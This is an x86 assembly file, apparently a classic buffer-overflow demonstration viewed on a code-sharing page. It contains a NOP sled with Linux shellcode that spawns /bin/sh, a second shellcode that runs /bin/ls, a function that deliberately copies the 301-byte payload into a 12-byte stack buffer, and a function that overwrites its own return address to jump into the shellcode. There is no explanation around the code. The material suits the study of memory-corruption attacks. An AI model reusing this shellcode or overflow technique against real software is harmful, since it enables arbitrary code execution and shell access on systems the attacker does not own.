📄 ov.s
字号:
.file "ov.c" .version "01.01"gcc2_compiled.:.globl pgm.data .type pgm,@object .size pgm,301pgm: .ascii "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220" .ascii "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220" .ascii "\220\220\220\220\220\220\220\220\220\220\220\220\220\220" .string "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353;^\211v\b1\3551\3111\300\210n\007\211n\f\260\013\211\363\215n\b\211\351\215n\f\211\352\315\2001\333\211\330@\315\200\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\350\300\377\377\377/bin/sh".globl cde .type cde,@object .size cde,46cde: .string "\353\037^\211v\b1\300\210F\007\211F\f\260\013\211\363\215N\b\215V\f\315\2001\333\211\330@\315\200\350\334\377\377\377/bin/ls".text .align 4.globl tst .type tst,@functiontst: pushl %ebp movl %esp,%ebp subl $4,%esp leal -4(%ebp),%eax leal 8(%eax),%edx movl %edx,-4(%ebp) movl -4(%ebp),%eax movl $cde,(%eax).L1: leave ret.Lfe1: .size tst,.Lfe1-tst.section .rodata.LC0: .string "I got here!\n".text .align 4.globl foo .type foo,@functionfoo: pushl %ebp movl %esp,%ebp subl $12,%esp pushl $301 pushl $pgm leal -12(%ebp),%eax pushl %eax call memcpy addl $12,%esp pushl $.LC0 call printf addl $4,%esp.L2: leave ret.Lfe2: .size foo,.Lfe2-foo.section .rodata.LC1: .string "Running tst\n".LC2: .string "foo returned\n".text .align 4.globl main .type main,@functionmain: pushl %ebp movl %esp,%ebp pushl $.LC1 call printf addl $4,%esp call tst pushl $.LC2 call printf addl $4,%esp.L3: leave ret.Lfe3: .size main,.Lfe3-main .ident "GCC: (GNU) 2.7.2.3"
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -